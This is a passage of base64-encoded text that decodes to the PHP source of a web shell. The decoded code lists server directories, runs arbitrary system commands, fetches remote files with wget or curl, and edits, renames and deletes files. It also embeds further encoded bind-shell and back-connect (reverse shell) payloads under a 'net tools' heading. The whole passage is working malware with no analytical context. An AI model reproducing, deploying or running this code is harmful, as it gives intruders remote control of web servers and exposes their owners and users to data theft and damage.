PSAkbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybDsNCg0KDQoNCg0KZnVuY3Rpb24gcmFwaWgoJHRleHQpew0KCXJldHVybiB0cmltKHN0cl9yZXBsYWNlKCI8YnIgLz4iLCIiLCR0ZXh0KSk7DQp9DQoNCmZ1bmN0aW9uIG1hZ2ljYm9vbSgkdGV4dCl7DQoJaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQogICAJCSByZXR1cm4gJHRleHQ7DQoJfSANCglyZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsNCn0NCg0KZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpew0KCSRmbmFtZSA9IGFycmF5KCk7DQoJJGRuYW1lID0gYXJyYXkoKTsNCglpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOw0KCWVsc2UgJHBvc2l4ID0gRkFMU0U7DQoJJHVzZXIgPSAiPz8/Pzo/Pz8/IjsNCglpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7DQoJCWZvcmVhY2goJGRoIGFzICRmaWxlKXsNCgkJCWlmKGlzX2RpcigkZmlsZSkpew0KCQkJCSRkbmFtZVtdID0gJGZpbGU7DQoJCQl9DQoJCQllbHNlaWYoaXNfZmlsZSgkZmlsZSkpew0KCQkJCSRmbmFtZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCgl9DQoJZWxzZXsNCgkJaWYoJGRoID0gQG9wZW5kaXIoJHB3ZCkpew0KCQkJd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsNCgkJCQlpZihAaXNfZGlyKCRmaWxlKSl7DQoJCQkJCSRkbmFtZVtdID0gJGZpbGU7DQoJCQkJfQ0KCQkJCWVsc2VpZihAaXNfZmlsZSgkZmlsZSkpew0KCQkJCQkkZm5hbWVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCgkJCUBjbG9zZWRpcigkZGgpOw0KCQl9DQoJfQ0KDQoJDQoJc29ydCgkZm5hbWUpOw0KCXNvcnQoJGRuYW1lKTsNCgkkcGF0aCA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7DQoJJHRyZWUgPSBAc2l6ZW9mKCRwYXRoKTsNCgkkcGFyZW50ID0gIiI7DQoJJGJ1ZmYgPSAiDQoJPGZvcm0gYWN0aW9uPVwiP3k9Ii4kcHdkLiImYW1wO3g9c2hlbGxcIiBtZXRob2Q9XCJwb3N0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPg0KCTx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NTAlO1wiPg0KCTx0cj48dGQ+JHByb21wdDwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIlwiIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+DQoJPC9mb3JtPg0KCTxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBzdHlsZT1cIm1hcmdpbjo4cHggMCAwIDA7XCI+DQoJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPg0KCTx0cj48dGQ+dmlldyBmaWxlL2ZvbGRlcjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImdvdG9cIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInZpZXdcIiBzdHlsZT1cIndpZHRoOjQwMHB4O1wiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkdvICFcIiBuYW1lPVwic3VibWl0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPg0KCTwvZm9ybT48L3RhYmxlPjx0YWJsZSBjbGFzcz1cImV4cGxvcmVcIj4NCgk8dHI+PHRoPm5hbWU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+c2l6ZTwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MjEwcHg7XCI+b3duZXI6Z3JvdXA8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjgwcHg7XCI+cGVybXM8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjExMHB4O1wiPm1vZGlmaWVkPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxOTBweDtcIj5hY3Rpb25zPC90aD48L3RyPg0KCSI7DQoJaWYoJHRyZWUgPiAyKSBmb3IoJGk9MDskaTwkdHJlZS0yOyRpKyspICRwYXJlbnQgLj0gJHBhdGhbJGldLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQoJZWxzZSAkcGFyZW50ID0gJHB3ZDsgIA0KDQoJZm9yZWFjaCgkZG5hbWUgYXMgJGZvbGRlcil7DQoJCWlmKCRmb2xkZXIgPT0gIi4iKSB7DQoJCQlpZighJHdpbiAmJiAkcG9zaXgpew0KCQkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KCQkJCSRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG93bmVyID0gJHVzZXI7DQoJCQl9DQoJCQkkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3k9Ii4kcHdkLiJcIj4kZm9sZGVyPC9hPjwvdGQ+PHRkPkxJTks8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD4iLmdldF9wZXJtcygkcHdkKS4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcHdkKSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsxXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcHdkLiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMScsJ3RpdGlrMV9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4NCgkJCTxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBpZD1cInRpdGlrMV9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPg0KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4NCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgc3R5bGU9XCJ3aWR0aDozNXB4O1wiIHZhbHVlPVwiR28gIVwiIC8+DQoJCQk8L2Zvcm0+PC90ZD48L3RyPg0KCQkJIjsNCgkJfQ0KCQllbHNlaWYoJGZvbGRlciA9PSAiLi4iKSB7DQoJCQlpZighJHdpbiAmJiAkcG9zaXgpew0KCQkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCQkkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOw0KCQkJCSRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOw0KCQkJfQ0KCQkJZWxzZSB7DQoJCQkJJG93bmVyID0gJHVzZXI7DQoJCQl9DQoJCQkkYnVmZiAuPSAiPHRyPjx0ZD48YSBocmVmPVwiP3k9Ii4kcGFyZW50LiJcIj4kZm9sZGVyPC9hPjwvdGQ+PHRkPkxJTks8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD4iLmdldF9wZXJtcygkcGFyZW50KS4iPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVtdGltZSgkcGFyZW50KSkuIjwvdGQ+PHRkPjxzcGFuIGlkPVwidGl0aWsyXCI+PGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcGFyZW50LiJuZXdmaWxlLnBocFwiPm5ld2ZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+bmV3Zm9sZGVyPC9hPjwvc3Bhbj4NCgkJCTxmb3JtIGFjdGlvbj1cIj9cIiBtZXRob2Q9XCJnZXRcIiBpZD1cInRpdGlrMl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPg0KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4NCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgc3R5bGU9XCJ3aWR0aDozNXB4O1wiIHZhbHVlPVwiR28gIVwiIC8+DQoJCQk8L2Zvcm0+DQoJCQk8L3RkPjwvdHI+IjsNCgkJfQ0KCQllbHNlIHsNCgkJCWlmKCEkd2luICYmICRwb3NpeCl7DQoJCQkJJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOw0KCQkJCSRncm91cD1AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZm9sZGVyKSk7DQoJCQkJJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107DQoJCQl9DQoJCQllbHNlIHsNCgkJCQkkb3duZXIgPSAkdXNlcjsNCgkJCX0NCgkJCSRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGlua1wiIGhyZWY9XCI/eT0iLiRwd2QuJGZvbGRlci5ESVJFQ1RPUllfU0VQQVJBVE9SLiJcIj5bICRmb2xkZXIgXTwvYT4NCgkJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPg0KCQkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPg0KCQkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmb2xkZXIuIlwiIC8+DQoJCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4NCgkJCTxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD5ESVI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmb2xkZXIpKS4iPC90ZD48dGQ+PGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtJyk7XCI+cmVuYW1lPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtmZGVsZXRlPSIuJHB3ZC4kZm9sZGVyLiJcIj5kZWxldGU8L2E+PC90ZD48L3RyPiI7DQoJCX0NCgl9DQoNCglmb3JlYWNoKCRmbmFtZSBhcyAkZmlsZSl7DQoJCSRmdWxsID0gJHB3ZC4kZmlsZTsNCgkJaWYoISR3aW4gJiYgJHBvc2l4KXsNCgkJCSRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmb2xkZXIpKTsNCgkJCSRncm91cD1AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZm9sZGVyKSk7DQoJCQkkb3duZXIgPSAkbmFtZVsnbmFtZSddLiI8c3BhbiBjbGFzcz1cImdheWFcIj4gOiA8L3NwYW4+Ii4kZ3JvdXBbJ25hbWUnXTsNCgkJfQ0KCQllbHNlIHsNCgkJCSRvd25lciA9ICR1c2VyOw0KCQl9CQkNCgkJJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGlua1wiIGhyZWY9XCI/eT0kcHdkJmFtcDt2aWV3PSRmdWxsXCI+JGZpbGU8L2E+DQoJCTxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4NCgkJPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoyMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiAvPg0KCQk8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4NCgkJPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjYW5jZWxcIiB2YWx1ZT1cImNhbmNlbFwiIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiIC8+DQoJCTwvZm9ybT4NCgkJPC90ZD48dGQ+Ii51a3VyYW4oJGZ1bGwpLiI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPjx0ZD4iLmdldF9wZXJtcygkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZ1bGwpKS4iPC90ZD4NCgkJPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGVsZXRlPSRmdWxsXCI+ZGVsZXRlPC9hPiB8IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbD0kZnVsbFwiPmRvd25sb2FkPC9hPiZuYnNwOyg8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZGxnemlwPSRmdWxsXCI+Z3ppcDwvYT4pPC90ZD48L3RyPiI7DQoJfQ0KCSRidWZmIC49ICI8L3RhYmxlPiI7DQoJcmV0dXJuICRidWZmOw0KfQ0KDQpmdW5jdGlvbiB1a3VyYW4oJGZpbGUpew0KCWlmKCRzaXplID0gQGZpbGVzaXplKCRmaWxlKSl7DQoJCWlmKCRzaXplIDw9IDEwMjQpIHJldHVybiAkc2l6ZTsNCgkJZWxzZXsNCgkJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgew0KCQkJCSRzaXplID0gQHJvdW5kKCRzaXplIC8gMTAyNCwyKTs7DQoJCQkJcmV0dXJuICIkc2l6ZSBrYiI7DQoJCQl9DQoJCQllbHNlIHsNCgkJCQkkc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpOw0KCQkJCXJldHVybiAiJHNpemUgbWIiOwkNCgkJCX0NCgkJfQ0KCX0NCgllbHNlIHJldHVybiAiPz8/IjsNCn0NCg0KZnVuY3Rpb24gZXhlKCRjbWQpew0KCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCgkJQG9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJGNtZCk7DQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOw0KCQlAb2JfZW5kX2NsZWFuKCk7DQoJCXJldHVybiAkYnVmZjsNCgl9DQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQoJCUBleGVjKCRjbWQsJHJlc3VsdHMpOw0KCQkkYnVmZiA9ICIiOw0KCQlmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpew0KCQkJJGJ1ZmYgLj0gJHJlc3VsdDsNCgkJfQ0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsNCgkJQG9iX3N0YXJ0KCk7DQoJCUBwYXNzdGhydSgkY21kKTsNCgkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCUBvYl9lbmRfY2xlYW4oKTsNCgkJcmV0dXJuICRidWZmOw0KCX0NCgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KCQkkYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOw0KCQlyZXR1cm4gJGJ1ZmY7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB0dWxpcygkZmlsZSwkdGV4dCl7DQoJJHRleHR6ID0gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKTsNCgkgaWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJ3IikpDQoJIHsNCgkJIEBmcHV0cygkZmlsZXosJHRleHR6KTsNCgkJIEBmY2xvc2UoJGZpbGUpOw0KCSB9DQp9DQoNCmZ1bmN0aW9uIGFtYmlsKCRsaW5rLCRmaWxlKSB7IA0KICAgaWYoJGZwID0gQGZvcGVuKCRsaW5rLCJyIikpew0KCSAgIHdoaWxlKCFmZW9mKCRmcCkpIHsgDQogICAJCSAgICAkY29udC49IEBmcmVhZCgkZnAsMTAyNCk7IA0KICAgCQl9IA0KICAgCQlAZmNsb3NlKCRmcCk7IA0KCSAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsgDQoJICAgQGZ3cml0ZSgkZnAyLCRjb250KTsgDQoJICAgQGZjbG9zZSgkZnAyKTsgDQogICB9DQp9DQoNCmZ1bmN0aW9uIHdoaWNoKCRwcil7DQoJJHBhdGggPSBleGUoIndoaWNoICRwciIpOw0KCWlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuIHRyaW0oJHBhdGgpOyB9IGVsc2UgeyByZXR1cm4gdHJpbSgkcHIpOyB9DQp9DQoNCmZ1bmN0aW9uIGRvd25sb2FkKCRjbWQsJHVybCl7DQoJJG5hbWFmaWxlID0gYmFzZW5hbWUoJHVybCk7DQoJc3dpdGNoKCRjbWQpIHsNCgkJY2FzZSAnd3dnZXQnOiBleGUod2hpY2goJ3dnZXQnKS4iICIuJHVybC4iIC1PICIuJG5hbWFmaWxlKTticmVhazsNCgkJY2FzZSAnd2x5bngnOiBleGUod2hpY2goJ2x5bngnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7DQoJCWNhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrOw0KCQljYXNlICd3ZmV0Y2gnIDogZXhlKHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kbmFtYWZpbGUuIiAtcCAiLiR1cmwpO2JyZWFrOw0KCQljYXNlICd3bGlua3MnIDogZXhlKHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSAiLiR1cmwuIiA+ICIuJG5hbWFmaWxlKTticmVhazsNCgkJY2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7DQoJCWNhc2UgJ3djdXJsJyA6IGV4ZSh3aGljaCgnY3VybCcpLiIgIi4kdXJsLiIgLW8gIi4kbmFtYWZpbGUpO2JyZWFrOw0KCQlkZWZhdWx0OiBicmVhazsNCgl9DQoJcmV0dXJuICRuYW1hZmlsZTsNCn0NCg0KZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKQ0Kew0KCWlmKCRtb2RlPUBmaWxlcGVybXMoJGZpbGUpKXsNCgkJJHBlcm1zPScnOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAyMDApID8gJ3cnIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAxMDApID8gJ3gnIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOw0KCQkkcGVybXMgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KCQlyZXR1cm4gJHBlcm1zOw0KCX0NCgllbHNlIHJldHVybiAiPz8/Pz8/Pz8/PyI7DQp9DQoNCmZ1bmN0aW9uIGNsZWFyc3BhY2UoJHRleHQpew0KCXJldHVybiBzdHJfcmVwbGFjZSgiICIsIl8iLCR0ZXh0KTsNCn0NCg0KLy8gbmV0IHRvb2xzDQokcG9ydF9iaW5kX2JkX2M9ImJWTmhiOW93RVAyT3hIKzRwaEk0TklOQU4wMGFZeEphVzZtYXhxYlNMeE5ES0RpWHhpTFlrVzNLR09wLzN6bE9wbzd4SVk3OTNqdmYNCitmbDhLU1F2ZGluQ1IyTlRvZnI1cDNicjhoV21oWHc2QlE5bVlBOGxtak80VVh5RDlvU1FhQVY5QXlGUENOUmErcFJDV3RnbVFySkUNClAvR0lodWZRZzI0OWJyZDRubWpvOVJ4QnF5TkF1d1dPZHZteU5BS0oreXdsQmlyaGVwY3RydU9sVzlNSmR0enJralRWS3lGQjQxWloNCmRLVElXS2IwaG9Vd21VQWN3dEZ0NittK0VYS1ZKVnRSSEdBQzA3dlYvZXoyY2Z3dlhTcHRpY3l0a29ZbFZnbFgvZk5pdUF6REU2VkwNCjNUZlZydzRvMlAxc2VuUHpzSnJPZm9Samw5Y2ZoV2p2SWF0elJ2TnZuNytzNW84UHQ5T3ZVUnpXWlY5NGRRZ2xlYWcwQzN3UVZLdWcNClVxMkZURm5qRHp2eEFYcGh4OWNYUWZ4cjZQY3RoTEVvLzhhOHE4QjlMZ3BrUTdvT2dLTWJ2TmVUaEhNc2JTT082OUlBMGwwNVlwWGsNCkhEVDhIeHJWMEY0TGl6VVdmRStNMlN1ZGZnaWlZYk9OeGlTdGVicmd5SWpmcURKRzA3QVdpQXpZQmM5TGl2VTNNVnBHRlYyeDFKNFcNCnR5eEFuaXZZWThIVkZzRXFXRisvZjdzQmsyTlJRS2NEQS9KdHNFNU1EbTlFVUcrTWhjRnFrcFgwSG14R2JxYmtkQlRNbGRhSFJzVUwNClplb0RlT1NGQnZwZWZDZlhoZmxPcGdUa3ZKK2p0S2lSN3ZMb2hZS0NxUzJabU1SajRaNWdRWmZTaU1iaTZpcWtkbkhhckVFWFl1azYNCnVQdFRkdW1zcjBIQzRxNXJyek5pZlY3c0MzWldVbXErTFZsVmE1T2ZRalRhblpZUU8rVWYiOw0KJHBvcnRfYmluZF9iZF9wbD0iWlpKaFQ4SXdFSWEvay9BZmprbGdTMmFBK0JGbUpEQjFjVzVrSFNaR3pUSzJReHBtdTJ3bFlvRC9icnVCSWZpdGQzM3V2WHV2dldyMQ0KTm1YUlcxRFd5N0hJbW8wMmViUmQxOUtxMUNJdVYzQk50V0d6UVplZzM0MkRoeGNZd2NDQUhlQ1dDbjFnRE9FZ2kxeUhoTFlYemZ3Zw0KdE5xS2V1dC95S0pOaVVCNHNrWWhnM1plY01FVG5sbWZLS3J6NG9mRlg2aDNSWkozRFVtVUZhb1Rzek83anh6UERzME84U2RQRVFrRA0KZS94cy9na1lzTjlEU2hHMFNjd0VKQVhHQXFHdWZtZHEyaEtGQ25tdTFJanZSa3BINmhFL0N1dzVzY2ZUYVdBT1ZFOXBNNVdNb3VNMA0KTFNMSzlITTNwdU1wTmhwN3I4WkZXNTRqZzV3WHg1WVpMUVV5S1hWendkVVhaK1QzaW1Zb1Y5ZHM3SnFOT0VsUVRqbnhQYzhrUnJWbw0KdmFXM2M1cGFTMTZzalpvNnFURXVRS1UxVU8vUlNuRkpHYWFnY0ZWYmpVVENxZU9aMnFpak5MV3pyRDhQVGUzMlg5b09ndk0wYmpHQg0KK2hlY2ZPUUZsVDRVY0xTa21JMWNlWTNWcnBLTXk5ZFdVQ1ZDQmZUbFFYNk93eTg9IjsNCiRiYWNrX2Nvbm5lY3Q9ImZaRlJTOE13RklYZkIvc1BXU3cyaFVybnF5UEMwQ3BEM0tTdHZxaDBYUnBjc0UxS2tvS0YvWGlUdENJVjZ0dTU1K1o4OXlZNVcwU3QNCmt0R0I4YWloc3ByUFdrVkJLc2duMWF2NXpDTjFpUUdzT3Y0RmJhazZwV21OZ1UvSlVRQzRiM2xSVTNCUjdPRnFjRmhwdE1PcG8yOGoNClMyd2hWdWxDZmxDTnZYVnkvL0s2ZkxkV0krU1BjZWtNVnBTbHhJeFRuUmRhY0RTRUFuQTZnWkpSQkdNcGhid0MzdUtOdzhBaFhFS1oNCmphM0ltY2xZYWdoNjFuOUpLYlRBaHU3RW9iTjNRYjRtalcvYnlyMEJTbmMzRDNFV2dxZTdmTE8xd2hwNW1pWHgrdEhNY05IcEdVUncNClRza3ZwZDkyK3J4b0tFZHBkcnZaaGdCZW4vZXhVV2Yzbk